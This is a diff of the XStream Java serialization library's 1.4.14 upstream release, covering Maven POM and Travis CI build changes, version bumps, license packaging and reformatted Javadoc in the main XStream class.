Codebase list libxstream-java / upstream/1.4.14
New upstream version 1.4.14 Markus Koschany 3 years ago
59 changed file(s) with 2281 addition(s) and 1240 deletion(s). Raw diff Collapse all Expand all
11 <mirrors>
22 <mirror>
33 <id>central</id>
4 <url>http://repo1.maven.org/maven2</url>
4 <url>https://repo1.maven.org/maven2</url>
55 <mirrorOf>*</mirrorOf>
66 </mirror>
77 </mirrors>
0 dist: trusty
01 language: java
12 sudo: false
2 addons:
3 apt:
4 packages:
5 - openjdk-6-jdk
63 jdk:
4 - openjdk12
75 - openjdk11
86 - openjdk10
97 - oraclejdk9
10 - oraclejdk8
8 - openjdk8
119 - openjdk7
12 - openjdk6
1310 install: true
1411 script:
15 if [ "$TRAVIS_JDK_VERSION" == "openjdk6" ]; then
16 wget https://archive.apache.org/dist/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.zip -P ./target;
17 unzip -qq ./target/apache-maven-3.2.5-bin.zip -d ./target;
18 export M2_HOME=$PWD/target/apache-maven-3.2.5;
19 export PATH=$M2_HOME/bin:$JAVA_HOME/bin:$PATH;
12 if [ "$TRAVIS_JDK_VERSION" == "oraclejdk9" ]; then
2013 export SETTINGS="-s .travis.settings.xml";
2114 fi;
22 if [ "$TRAVIS_JDK_VERSION" == "oraclejdk8" ]; then
15 if [ "$TRAVIS_JDK_VERSION" == "openjdk8" ]; then
2316 mkdir -p xstream/profiles/coveralls;
2417 mkdir -p xstream-hibernate/profiles/coveralls;
25 mvn -V -B -e clean package jacoco:report coveralls:report;
18 mvn -V -B -e clean package jacoco:report coveralls:report $SETTINGS;
2619 else
2720 mvn -V -B -e clean package $SETTINGS;
2821 fi
44
55 To build:
66
7 For Java 1.4: rm */profiles/osgi
78 mvn clean install
89
910 Before deploying:
00 (BSD Style License)
11
22 Copyright (c) 2003-2006, Joe Walnes
3 Copyright (c) 2006-2015, XStream Committers
3 Copyright (c) 2006-2019, XStream Committers
44 All rights reserved.
55
66 Redistribution and use in source and binary forms, with or without
00 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
11 <!--
22 Copyright (C) 2006 Joe Walnes.
3 Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2015, 2016, 2017, 2018 XStream committers.
3 Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2015, 2016, 2017, 2018, 2019, 2020 XStream committers.
44 All rights reserved.
55
66 The software in this package is published under the terms of the BSD
1313 <groupId>com.thoughtworks.xstream</groupId>
1414 <artifactId>xstream-parent</artifactId>
1515 <packaging>pom</packaging>
16 <version>1.4.11.1</version>
16 <version>1.4.14</version>
1717 <name>XStream Parent</name>
1818 <url>http://x-stream.github.io</url>
1919 <description>
3636
3737 <profiles>
3838 <profile>
39 <id>jdk9-ge</id>
40 <activation>
41 <jdk>[9,</jdk>
39 <id>jdk12-ge</id>
40 <activation>
41 <jdk>[12,)</jdk>
42 </activation>
43 <properties>
44 <version.java.5>1.7</version.java.5>
45 <version.java.6>1.7</version.java.6>
46 <version.java.source>1.7</version.java.source>
47 <version.java.target>1.7</version.java.target>
48 </properties>
49 </profile>
50 <profile>
51 <id>jdk9-ge-jdk12</id>
52 <activation>
53 <jdk>[9,12)</jdk>
4254 </activation>
4355 <properties>
4456 <version.java.5>1.6</version.java.5>
4557 <version.java.source>1.6</version.java.source>
4658 <version.java.target>1.6</version.java.target>
59 </properties>
60 </profile>
61 <profile>
62 <id>jdk9-ge</id>
63 <activation>
64 <jdk>[9,)</jdk>
65 </activation>
66 <properties>
4767 <version.plugin.maven.enforcer>3.0.0-M1</version.plugin.maven.enforcer>
4868 </properties>
4969 </profile>
83103 <jdk>[1.6,)</jdk>
84104 </activation>
85105 <modules>
106 <!--module>xstream-its</module--><!-- requires installed repo -->
86107 <module>xstream-jmh</module>
87108 <module>xstream-distribution</module>
88109 </modules>
124145 </activation>
125146 <build>
126147 <plugins>
148 <plugin>
149 <groupId>org.codehaus.mojo</groupId>
150 <artifactId>build-helper-maven-plugin</artifactId>
151 <executions>
152 <execution>
153 <id>include-license</id>
154 <phase>generate-resources</phase>
155 <goals>
156 <goal>add-resource</goal>
157 </goals>
158 <configuration>
159 <resources>
160 <resource>
161 <directory>${project.build.directory}/generated-resources</directory>
162 </resource>
163 </resources>
164 </configuration>
165 </execution>
166 </executions>
167 </plugin>
168 <plugin>
169 <groupId>org.apache.maven.plugins</groupId>
170 <artifactId>maven-antrun-plugin</artifactId>
171 <executions>
172 <execution>
173 <id>copy-license</id>
174 <phase>generate-resources</phase>
175 <goals>
176 <goal>run</goal>
177 </goals>
178 <configuration>
179 <target>
180 <copy file="../LICENSE.txt" tofile="${project.build.directory}/generated-resources/META-INF/LICENSE" overwrite="false" failonerror="true" />
181 </target>
182 </configuration>
183 </execution>
184 </executions>
185 </plugin>
127186 <plugin>
128187 <groupId>org.apache.maven.plugins</groupId>
129188 <artifactId>maven-source-plugin</artifactId>
145204 <version>${version.java.enforced}</version>
146205 </requireJavaVersion>
147206 </rules>
207 </configuration>
208 </execution>
209 </executions>
210 </plugin>
211 </plugins>
212 </build>
213 </profile>
214 <profile>
215 <id>java-test</id>
216 <activation>
217 <file>
218 <exists>src/test</exists>
219 </file>
220 </activation>
221 <build>
222 <plugins>
223 <plugin>
224 <groupId>org.apache.maven.plugins</groupId>
225 <artifactId>maven-antrun-plugin</artifactId>
226 <executions>
227 <execution>
228 <id>copy-license-for-test</id>
229 <phase>generate-test-resources</phase>
230 <goals>
231 <goal>run</goal>
232 </goals>
233 <configuration>
234 <target>
235 <copy file="../LICENSE.txt" tofile="${project.build.directory}/test-classes/META-INF/LICENSE" overwrite="false" failonerror="true" />
236 </target>
148237 </configuration>
149238 </execution>
150239 </executions>
266355
267356 <licenses>
268357 <license>
269 <name>BSD style</name>
358 <name>BSD-3-Clause</name>
270359 <url>http://x-stream.github.io/license.html</url>
271360 <distribution>repo</distribution>
272361 </license>
320409 <dependency>
321410 <groupId>com.thoughtworks.xstream</groupId>
322411 <artifactId>xstream</artifactId>
323 <version>1.4.11.1</version>
412 <version>1.4.14</version>
324413 </dependency>
325414 <dependency>
326415 <groupId>com.thoughtworks.xstream</groupId>
327416 <artifactId>xstream</artifactId>
328 <version>1.4.11.1</version>
417 <version>1.4.14</version>
329418 <classifier>tests</classifier>
330419 <type>test-jar</type>
331420 <scope>test</scope>
333422 <dependency>
334423 <groupId>com.thoughtworks.xstream</groupId>
335424 <artifactId>xstream</artifactId>
336 <version>1.4.11.1</version>
425 <version>1.4.14</version>
337426 <classifier>javadoc</classifier>
338427 <scope>provided</scope>
339428 </dependency>
340429 <dependency>
341430 <groupId>com.thoughtworks.xstream</groupId>
342431 <artifactId>xstream-hibernate</artifactId>
343 <version>1.4.11.1</version>
432 <version>1.4.14</version>
344433 </dependency>
345434 <dependency>
346435 <groupId>com.thoughtworks.xstream</groupId>
347436 <artifactId>xstream-hibernate</artifactId>
348 <version>1.4.11.1</version>
437 <version>1.4.14</version>
349438 <classifier>javadoc</classifier>
350439 <scope>provided</scope>
351440 </dependency>
352441 <dependency>
353442 <groupId>com.thoughtworks.xstream</groupId>
354443 <artifactId>xstream-jmh</artifactId>
355 <version>1.4.11.1</version>
444 <version>1.4.14</version>
356445 </dependency>
357446 <dependency>
358447 <groupId>com.thoughtworks.xstream</groupId>
359448 <artifactId>xstream-jmh</artifactId>
360 <version>1.4.11.1</version>
449 <version>1.4.14</version>
361450 <classifier>javadoc</classifier>
362451 <scope>provided</scope>
363452 </dependency>
364453 <dependency>
365454 <groupId>com.thoughtworks.xstream</groupId>
366455 <artifactId>xstream-benchmark</artifactId>
367 <version>1.4.11.1</version>
456 <version>1.4.14</version>
368457 </dependency>
369458 <dependency>
370459 <groupId>com.thoughtworks.xstream</groupId>
371460 <artifactId>xstream-benchmark</artifactId>
372 <version>1.4.11.1</version>
461 <version>1.4.14</version>
373462 <classifier>javadoc</classifier>
374463 <scope>provided</scope>
375464 </dependency>
507596 </dependency>
508597
509598 <dependency>
510 <groupId>oro</groupId>
511 <artifactId>oro</artifactId>
512 <version>${version.oro}</version>
513 </dependency>
514
515 <dependency>
516599 <groupId>org.json</groupId>
517600 <artifactId>json</artifactId>
518601 <version>${version.org.json}</version>
622705 <scope>test</scope>
623706 </dependency>
624707
708 <!-- Pax Exam Dependencies -->
709 <dependency>
710 <groupId>org.apache.felix</groupId>
711 <artifactId>org.apache.felix.framework</artifactId>
712 <version>${version.org.apache.felix}</version>
713 <scope>test</scope>
714 </dependency>
715 <dependency>
716 <groupId>org.glassfish.hk2.external</groupId>
717 <artifactId>javax.inject</artifactId>
718 <version>${version.javax.inject}</version>
719 <scope>provided</scope>
720 </dependency>
721 <dependency>
722 <groupId>org.ops4j.pax.exam</groupId>
723 <artifactId>pax-exam-container-native</artifactId>
724 <version>${version.org.ops4j.pax.exam}</version>
725 <scope>test</scope>
726 </dependency>
727 <dependency>
728 <groupId>org.ops4j.pax.exam</groupId>
729 <artifactId>pax-exam-extender-service</artifactId>
730 <version>${version.org.ops4j.pax.exam}</version>
731 <scope>test</scope>
732 </dependency>
733 <dependency>
734 <groupId>org.ops4j.pax.exam</groupId>
735 <artifactId>pax-exam-inject</artifactId>
736 <version>${version.org.ops4j.pax.exam}</version>
737 <scope>test</scope>
738 </dependency>
739 <dependency>
740 <groupId>org.ops4j.pax.exam</groupId>
741 <artifactId>pax-exam-invoker-junit</artifactId>
742 <version>${version.org.ops4j.pax.exam}</version>
743 <scope>test</scope>
744 </dependency>
745 <dependency>
746 <groupId>org.ops4j.pax.exam</groupId>
747 <artifactId>pax-exam-junit4</artifactId>
748 <version>${version.org.ops4j.pax.exam}</version>
749 <scope>test</scope>
750 </dependency>
751 <dependency>
752 <groupId>org.ops4j.pax.exam</groupId>
753 <artifactId>pax-exam-link-assembly</artifactId>
754 <version>${version.org.ops4j.pax.exam}</version>
755 <scope>test</scope>
756 </dependency>
757 <dependency>
758 <groupId>org.ops4j.pax.exam</groupId>
759 <artifactId>pax-exam-link-mvn</artifactId><!-- Preferred link because it does not require an mvn url handler implicitely. -->
760 <version>${version.org.ops4j.pax.exam}</version>
761 <scope>test</scope>
762 </dependency>
625763 </dependencies>
626764 </dependencyManagement>
627765
698836 </plugin>
699837 <plugin>
700838 <groupId>org.apache.maven.plugins</groupId>
839 <artifactId>maven-failsafe-plugin</artifactId>
840 <version>${version.plugin.maven.failsafe}</version>
841 </plugin>
842 <plugin>
843 <groupId>org.apache.maven.plugins</groupId>
701844 <artifactId>maven-gpg-plugin</artifactId>
702845 <version>${version.plugin.maven.gpg}</version>
703846 </plugin>
718861 </manifest>
719862 <manifestEntries>
720863 <Specification-Version>${project.info.majorVersion}.${project.info.minorVersion}</Specification-Version>
864 <Bundle-License>BSD-3-Clause</Bundle-License>
721865 <X-Compile-Source>${version.java.source}</X-Compile-Source>
722866 <X-Compile-Target>${version.java.target}</X-Compile-Target>
723867 <X-Builder>Maven ${maven.version}</X-Builder>
753897 </manifest>
754898 <manifestEntries>
755899 <Specification-Version>${project.info.majorVersion}.${project.info.minorVersion}</Specification-Version>
900 <Bundle-License>BSD-3-Clause</Bundle-License>
756901 </manifestEntries>
757902 </archive>
758903 </configuration>
810955 <Bundle-SymbolicName>${project.artifactId}.sources</Bundle-SymbolicName>
811956 <Bundle-Vendor>${project.organization.name} Sources</Bundle-Vendor>
812957 <Bundle-Version>${project.info.osgiVersion} Sources</Bundle-Version>
958 <Bundle-License>BSD-3-Clause</Bundle-License>
813959 <Eclipse-SourceBundle>${project.artifactId};version=${project.info.osgiVersion}</Eclipse-SourceBundle>
814960 <X-Compile-Source>${version.java.source}</X-Compile-Source>
815961 <X-Compile-Target>${version.java.target}</X-Compile-Target>
8581004 <groupId>org.codehaus.xsite</groupId>
8591005 <artifactId>xsite-maven-plugin</artifactId>
8601006 <version>${version.plugin.codehaus.xsite}</version>
1007 <dependencies>
1008 <dependency>
1009 <groupId>com.thoughtworks.xstream</groupId>
1010 <artifactId>xstream</artifactId>
1011 <version>1.4.11.1</version>
1012 </dependency>
1013 </dependencies>
8611014 </plugin>
8621015 <plugin>
8631016 <groupId>org.apache.felix</groupId>
8661019 <configuration>
8671020 <manifestLocation>${project.build.directory}/OSGi</manifestLocation>
8681021 <instructions>
1022 <_noee>true</_noee>
8691023 <_nouses>true</_nouses>
8701024 <Bundle-SymbolicName>${project.artifactId}</Bundle-SymbolicName>
1025 <Bundle-License>BSD-3-Clause</Bundle-License>
8711026 <Specification-Version>${project.info.majorVersion}.${project.info.minorVersion}</Specification-Version><!-- FELIX-3392 -->
8721027 </instructions>
8731028 <archive>
9431098 <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
9441099
9451100 <version.java.5>1.5</version.java.5>
1101 <version.java.6>1.6</version.java.6>
9461102 <version.java.source>1.5</version.java.source>
9471103 <version.java.target>1.5</version.java.target>
9481104 <version.java.enforced>[1.4,)</version.java.enforced>
9491105
950 <version.plugin.codehaus.xsite>1.2.1</version.plugin.codehaus.xsite>
1106 <version.plugin.codehaus.xsite>1.3</version.plugin.codehaus.xsite>
9511107 <version.plugin.felix.bundle>2.3.7</version.plugin.felix.bundle>
9521108 <version.plugin.maven.antrun>1.1</version.plugin.maven.antrun>
9531109 <version.plugin.maven.assembly>2.1</version.plugin.maven.assembly>
9561112 <version.plugin.maven.dependency>2.1</version.plugin.maven.dependency>
9571113 <version.plugin.maven.deploy>2.3</version.plugin.maven.deploy>
9581114 <version.plugin.maven.enforcer>1.4</version.plugin.maven.enforcer>
1115 <version.plugin.maven.failsafe>2.22.0</version.plugin.maven.failsafe>
9591116 <version.plugin.maven.gpg>1.4</version.plugin.maven.gpg>
9601117 <version.plugin.maven.install>2.2</version.plugin.maven.install>
9611118 <version.plugin.maven.jar>2.2</version.plugin.maven.jar>
9821139 <version.javaassist>3.12.1.GA</version.javaassist>
9831140 <version.javax.activation>1.1.1</version.javax.activation>
9841141 <version.javax.annotation.api>1.3.2</version.javax.annotation.api>
1142 <version.javax.inject>2.4.0</version.javax.inject>
9851143 <version.javax.xml.bind.api>2.3.1</version.javax.xml.bind.api>
9861144 <version.jmock>1.0.1</version.jmock>
9871145 <version.joda-time>1.6</version.joda-time>
9881146 <version.junit>3.8.1</version.junit>
9891147 <version.net.sf.kxml.kxml2>2.3.0</version.net.sf.kxml.kxml2>
1148 <version.org.apache.felix>4.4.1</version.org.apache.felix>
9901149 <version.org.codehaus.jettison>1.2</version.org.codehaus.jettison>
9911150 <version.org.codehaus.woodstox.asl>3.2.7</version.org.codehaus.woodstox.asl>
9921151 <version.org.hibernate.core>4.2.5.Final</version.org.hibernate.core>
9951154 <version.org.jdom2>2.0.5</version.org.jdom2>
9961155 <version.org.json>20080701</version.org.json>
9971156 <version.org.openjdk.jmh>1.21</version.org.openjdk.jmh>
1157 <version.org.ops4j.pax.exam>3.5.0</version.org.ops4j.pax.exam><!-- java 6 -->
9981158 <version.org.slf4j>1.6.1</version.org.slf4j>
999 <version.oro>2.0.8</version.oro>
10001159 <version.stax>1.2.0</version.stax>
10011160 <version.stax.api>1.0.1</version.stax.api>
10021161 <version.xerces.impl>2.8.1</version.xerces.impl>
00 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
11 <!--
22 Copyright (C) 2006 Joe Walnes.
3 Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018 XStream committers.
3 Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019 XStream committers.
44 All rights reserved.
55
66 The software in this package is published under the terms of the BSD
1313 <parent>
1414 <groupId>com.thoughtworks.xstream</groupId>
1515 <artifactId>xstream-parent</artifactId>
16 <version>1.4.11.1</version>
16 <version>1.4.14</version>
1717 </parent>
1818 <artifactId>xstream</artifactId>
1919 <packaging>jar</packaging>
134134 <dependency>
135135 <groupId>com.megginson.sax</groupId>
136136 <artifactId>xml-writer</artifactId>
137 <scope>test</scope>
138 </dependency>
139
140 <dependency>
141 <groupId>oro</groupId>
142 <artifactId>oro</artifactId>
143137 <scope>test</scope>
144138 </dependency>
145139
197191 <configuration>
198192 <includes>
199193 <include>**/AbstractAcceptanceTest.*</include>
194 <include>META-INF/LICENSE</include>
200195 </includes>
201196 <archive combine.children="append">
202197 <manifestEntries>
203198 <Specification-Title>${project.name} Test</Specification-Title>
204199 <Implementation-Title>${project.name} Test</Implementation-Title>
200 <Bundle-License>BSD-3-Clause</Bundle-License>
205201 </manifestEntries>
206202 </archive>
207203 </configuration>
310306 <source>1.8</source>
311307 <target>1.8</target>
312308 <excludes combine.self="override" />
313 <textExcludes combine.self="override" />
309 <testExcludes combine.self="override" />
314310 </configuration>
315311 <goals>
316312 <goal>compile</goal>
592588
593589 <properties>
594590 <bundle.export.package>!com.thoughtworks.xstream.core.util,com.thoughtworks.xstream.*;-noimport:=true</bundle.export.package>
595 <bundle.import.package>org.xmlpull.mxp1;resolution:=optional,org.xmlpull.v1;resolution:=optional,*</bundle.import.package>
591 <bundle.import.package>
592 org.xmlpull.mxp1;resolution:=optional,
593 org.xmlpull.v1;resolution:=optional,
594 com.ibm.*;resolution:=optional,
595 com.sun.*;resolution:=optional,
596 javax.*;resolution:=optional,
597 org.xml.*;resolution:=optional,
598 sun.*;resolution:=optional,
599 *
600 </bundle.import.package>
596601 </properties>
597602
598603 </project>
00 /*
11 * Copyright (C) 2003, 2004, 2005, 2006 Joe Walnes.
2 * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018 XStream Committers.
2 * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2020 XStream Committers.
33 * All rights reserved.
44 *
55 * The software in this package is published under the terms of the BSD
3535 import java.nio.charset.Charset;
3636 import java.text.DecimalFormatSymbols;
3737 import java.util.ArrayList;
38 import java.util.Arrays;
3839 import java.util.BitSet;
3940 import java.util.Calendar;
4041 import java.util.Collection;
6465 import com.thoughtworks.xstream.converters.ConverterLookup;
6566 import com.thoughtworks.xstream.converters.ConverterRegistry;
6667 import com.thoughtworks.xstream.converters.DataHolder;
67 import com.thoughtworks.xstream.converters.MarshallingContext;
6868 import com.thoughtworks.xstream.converters.SingleValueConverter;
6969 import com.thoughtworks.xstream.converters.SingleValueConverterWrapper;
70 import com.thoughtworks.xstream.converters.UnmarshallingContext;
7170 import com.thoughtworks.xstream.converters.basic.BigDecimalConverter;
7271 import com.thoughtworks.xstream.converters.basic.BigIntegerConverter;
7372 import com.thoughtworks.xstream.converters.basic.BooleanConverter;
178177 *
179178 * </blockquote>
180179 * <hr>
181 *
182180 * <h3>Aliasing classes</h3>
183 *
184181 * <p>
185 * To create shorter XML, you can specify aliases for classes using the <code>alias()</code>
186 * method. For example, you can shorten all occurrences of element
187 * <code>&lt;com.blah.MyThing&gt;</code> to <code>&lt;my-thing&gt;</code> by registering an
188 * alias for the class.
182 * To create shorter XML, you can specify aliases for classes using the <code>alias()</code> method. For example, you
183 * can shorten all occurrences of element <code>&lt;com.blah.MyThing&gt;</code> to <code>&lt;my-thing&gt;</code> by
184 * registering an alias for the class.
189185 * <p>
190186 * <hr>
191187 * <blockquote>
196192 *
197193 * </blockquote>
198194 * <hr>
199 *
200195 * <h3>Converters</h3>
201 *
202196 * <p>
203 * XStream contains a map of {@link com.thoughtworks.xstream.converters.Converter} instances, each
204 * of which acts as a strategy for converting a particular type of class to XML and back again. Out
205 * of the box, XStream contains converters for most basic types (String, Date, int, boolean, etc)
206 * and collections (Map, List, Set, Properties, etc). For other objects reflection is used to
207 * serialize each field recursively.
197 * XStream contains a map of {@link com.thoughtworks.xstream.converters.Converter} instances, each of which acts as a
198 * strategy for converting a particular type of class to XML and back again. Out of the box, XStream contains converters
199 * for most basic types (String, Date, int, boolean, etc) and collections (Map, List, Set, Properties, etc). For other
200 * objects reflection is used to serialize each field recursively.
208201 * </p>
209 *
210202 * <p>
211 * Extra converters can be registered using the <code>registerConverter()</code> method. Some
212 * non-standard converters are supplied in the {@link com.thoughtworks.xstream.converters.extended}
213 * package and you can create your own by implementing the
214 * {@link com.thoughtworks.xstream.converters.Converter} interface.
203 * Extra converters can be registered using the <code>registerConverter()</code> method. Some non-standard converters
204 * are supplied in the {@link com.thoughtworks.xstream.converters.extended} package and you can create your own by
205 * implementing the {@link com.thoughtworks.xstream.converters.Converter} interface.
215206 * </p>
216 *
217207 * <p>
218208 * <hr>
219209 * <b>Example</b><blockquote>
226216 * </blockquote>
227217 * <hr>
228218 * <p>
229 * The converters can be registered with an explicit priority. By default they are registered with
230 * XStream.PRIORITY_NORMAL. Converters of same priority will be used in the reverse sequence
231 * they have been registered. The default converter, i.e. the converter which will be used if
232 * no other registered converter is suitable, can be registered with priority
233 * XStream.PRIORITY_VERY_LOW. XStream uses by default the
234 * {@link com.thoughtworks.xstream.converters.reflection.ReflectionConverter} as the fallback
235 * converter.
219 * The converters can be registered with an explicit priority. By default they are registered with
220 * XStream.PRIORITY_NORMAL. Converters of same priority will be used in the reverse sequence they have been registered.
221 * The default converter, i.e. the converter which will be used if no other registered converter is suitable, can be
222 * registered with priority XStream.PRIORITY_VERY_LOW. XStream uses by default the
223 * {@link com.thoughtworks.xstream.converters.reflection.ReflectionConverter} as the fallback converter.
236224 * </p>
237 *
238225 * <p>
239226 * <hr>
240227 * <b>Example</b><blockquote>
245232 *
246233 * </blockquote>
247234 * <hr>
248 *
249235 * <h3>Object graphs</h3>
250 *
251236 * <p>
252 * XStream has support for object graphs; a deserialized object graph will keep references intact,
253 * including circular references.
237 * XStream has support for object graphs; a deserialized object graph will keep references intact, including circular
238 * references.
254239 * </p>
255 *
256240 * <p>
257241 * XStream can signify references in XML using either relative/absolute XPath or IDs. The mode can be changed using
258242 * <code>setMode()</code>:
259243 * </p>
260 *
261244 * <table border='1'>
262245 * <caption></caption>
263246 * <tr>
264247 * <td><code>xstream.setMode(XStream.XPATH_RELATIVE_REFERENCES);</code></td>
265 * <td><i>(Default)</i> Uses XPath relative references to signify duplicate references. This produces XML
266 * with the least clutter.</td>
248 * <td><i>(Default)</i> Uses XPath relative references to signify duplicate references. This produces XML with the least
249 * clutter.</td>
267250 * </tr>
268251 * <tr>
269252 * <td><code>xstream.setMode(XStream.XPATH_ABSOLUTE_REFERENCES);</code></td>
270 * <td>Uses XPath absolute references to signify duplicate
271 * references. This produces XML with the least clutter.</td>
253 * <td>Uses XPath absolute references to signify duplicate references. This produces XML with the least clutter.</td>
272254 * </tr>
273255 * <tr>
274256 * <td><code>xstream.setMode(XStream.SINGLE_NODE_XPATH_RELATIVE_REFERENCES);</code></td>
275 * <td>Uses XPath relative references to signify duplicate references. The XPath expression ensures that
276 * a single node only is selected always.</td>
257 * <td>Uses XPath relative references to signify duplicate references. The XPath expression ensures that a single node
258 * only is selected always.</td>
277259 * </tr>
278260 * <tr>
279261 * <td><code>xstream.setMode(XStream.SINGLE_NODE_XPATH_ABSOLUTE_REFERENCES);</code></td>
280 * <td>Uses XPath absolute references to signify duplicate references. The XPath expression ensures that
281 * a single node only is selected always.</td>
262 * <td>Uses XPath absolute references to signify duplicate references. The XPath expression ensures that a single node
263 * only is selected always.</td>
282264 * </tr>
283265 * <tr>
284266 * <td><code>xstream.setMode(XStream.ID_REFERENCES);</code></td>
285 * <td>Uses ID references to signify duplicate references. In some scenarios, such as when using
286 * hand-written XML, this is easier to work with.</td>
267 * <td>Uses ID references to signify duplicate references. In some scenarios, such as when using hand-written XML, this
268 * is easier to work with.</td>
287269 * </tr>
288270 * <tr>
289271 * <td><code>xstream.setMode(XStream.NO_REFERENCES);</code></td>
290 * <td>This disables object graph support and treats the object structure like a tree. Duplicate
291 * references are treated as two separate objects and circular references cause an exception. This
292 * is slightly faster and uses less memory than the other two modes.</td>
272 * <td>This disables object graph support and treats the object structure like a tree. Duplicate references are treated
273 * as two separate objects and circular references cause an exception. This is slightly faster and uses less memory than
274 * the other two modes.</td>
293275 * </tr>
294276 * </table>
295277 * <h3>Thread safety</h3>
296278 * <p>
297 * The XStream instance is thread-safe. That is, once the XStream instance has been created and
298 * configured, it may be shared across multiple threads allowing objects to be
299 * serialized/deserialized concurrently. <em>Note, that this only applies if annotations are not
300 * auto-detected on-the-fly.</em>
279 * The XStream instance is thread-safe. That is, once the XStream instance has been created and configured, it may be
280 * shared across multiple threads allowing objects to be serialized/deserialized concurrently. <em>Note, that this only
281 * applies if annotations are not auto-detected on-the-fly.</em>
301282 * </p>
302283 * <h3>Implicit collections</h3>
303 *
304284 * <p>
305 * To avoid the need for special tags for collections, you can define implicit collections using one
306 * of the <code>addImplicitCollection</code> methods.
285 * To avoid the need for special tags for collections, you can define implicit collections using one of the
286 * <code>addImplicitCollection</code> methods.
307287 * </p>
308288 *
309289 * @author Joe Walnes
354334
355335 private static final String ANNOTATION_MAPPER_TYPE = "com.thoughtworks.xstream.mapper.AnnotationMapper";
356336 private static final Pattern IGNORE_ALL = Pattern.compile(".*");
337 private static final Pattern LAZY_ITERATORS = Pattern.compile(".*\\$LazyIterator");
338 private static final Pattern JAVAX_CRYPTO = Pattern.compile("javax\\.crypto\\..*");
357339
358340 /**
359341 * Constructs a default XStream.
360342 * <p>
361 * The instance will use the {@link XppDriver} as default and tries to determine the best
362 * match for the {@link ReflectionProvider} on its own.
343 * The instance will use the {@link XppDriver} as default and tries to determine the best match for the
344 * {@link ReflectionProvider} on its own.
363345 * </p>
364346 *
365347 * @throws InitializationException in case of an initialization problem
374356 * The instance will use the {@link XppDriver} as default.
375357 * </p>
376358 *
377 * @param reflectionProvider the reflection provider to use or <em>null</em> for best
378 * matching reflection provider
359 * @param reflectionProvider the reflection provider to use or <em>null</em> for best matching reflection provider
379360 * @throws InitializationException in case of an initialization problem
380361 */
381362 public XStream(ReflectionProvider reflectionProvider) {
385366 /**
386367 * Constructs an XStream with a special {@link HierarchicalStreamDriver}.
387368 * <p>
388 * The instance will tries to determine the best match for the {@link ReflectionProvider} on
389 * its own.
369 * The instance will tries to determine the best match for the {@link ReflectionProvider} on its own.
390370 * </p>
391371 *
392372 * @param hierarchicalStreamDriver the driver instance
397377 }
398378
399379 /**
400 * Constructs an XStream with a special {@link HierarchicalStreamDriver} and
401 * {@link ReflectionProvider}.
402 *
403 * @param reflectionProvider the reflection provider to use or <em>null</em> for best
404 * matching Provider
380 * Constructs an XStream with a special {@link HierarchicalStreamDriver} and {@link ReflectionProvider}.
381 *
382 * @param reflectionProvider the reflection provider to use or <em>null</em> for best matching Provider
405383 * @param hierarchicalStreamDriver the driver instance
406384 * @throws InitializationException in case of an initialization problem
407385 */
408 public XStream(
409 ReflectionProvider reflectionProvider, HierarchicalStreamDriver hierarchicalStreamDriver) {
386 public XStream(ReflectionProvider reflectionProvider, HierarchicalStreamDriver hierarchicalStreamDriver) {
410387 this(reflectionProvider, (Mapper)null, hierarchicalStreamDriver);
411388 }
412389
413390 /**
414 * Constructs an XStream with a special {@link HierarchicalStreamDriver},
415 * {@link ReflectionProvider} and a prepared {@link Mapper} chain.
416 *
417 * @param reflectionProvider the reflection provider to use or <em>null</em> for best
418 * matching Provider
419 * @param mapper the instance with the {@link Mapper} chain or <em>null</em> for the default
420 * chain
391 * Constructs an XStream with a special {@link HierarchicalStreamDriver}, {@link ReflectionProvider} and a prepared
392 * {@link Mapper} chain.
393 *
394 * @param reflectionProvider the reflection provider to use or <em>null</em> for best matching Provider
395 * @param mapper the instance with the {@link Mapper} chain or <em>null</em> for the default chain
421396 * @param driver the driver instance
422397 * @throws InitializationException in case of an initialization problem
423 * @deprecated As of 1.3, use
424 * {@link #XStream(ReflectionProvider, HierarchicalStreamDriver, ClassLoader, Mapper)}
398 * @deprecated As of 1.3, use {@link #XStream(ReflectionProvider, HierarchicalStreamDriver, ClassLoader, Mapper)}
425399 * instead
426400 */
427 public XStream(
428 ReflectionProvider reflectionProvider, Mapper mapper, HierarchicalStreamDriver driver) {
401 public XStream(ReflectionProvider reflectionProvider, Mapper mapper, HierarchicalStreamDriver driver) {
429402 this(reflectionProvider, driver, new CompositeClassLoader(), mapper);
430403 }
431404
432405 /**
433 * Constructs an XStream with a special {@link HierarchicalStreamDriver},
434 * {@link ReflectionProvider} and a {@link ClassLoaderReference}.
435 *
436 * @param reflectionProvider the reflection provider to use or <em>null</em> for best
437 * matching Provider
406 * Constructs an XStream with a special {@link HierarchicalStreamDriver}, {@link ReflectionProvider} and a
407 * {@link ClassLoaderReference}.
408 *
409 * @param reflectionProvider the reflection provider to use or <em>null</em> for best matching Provider
438410 * @param driver the driver instance
439411 * @param classLoaderReference the reference to the {@link ClassLoader} to use
440412 * @throws InitializationException in case of an initialization problem
441413 * @since 1.4.5
442414 */
443415 public XStream(
444 ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver,
445 ClassLoaderReference classLoaderReference) {
416 ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver,
417 ClassLoaderReference classLoaderReference) {
446418 this(reflectionProvider, driver, classLoaderReference, null);
447419 }
448420
449421 /**
450 * Constructs an XStream with a special {@link HierarchicalStreamDriver},
451 * {@link ReflectionProvider} and the {@link ClassLoader} to use.
422 * Constructs an XStream with a special {@link HierarchicalStreamDriver}, {@link ReflectionProvider} and the
423 * {@link ClassLoader} to use.
452424 *
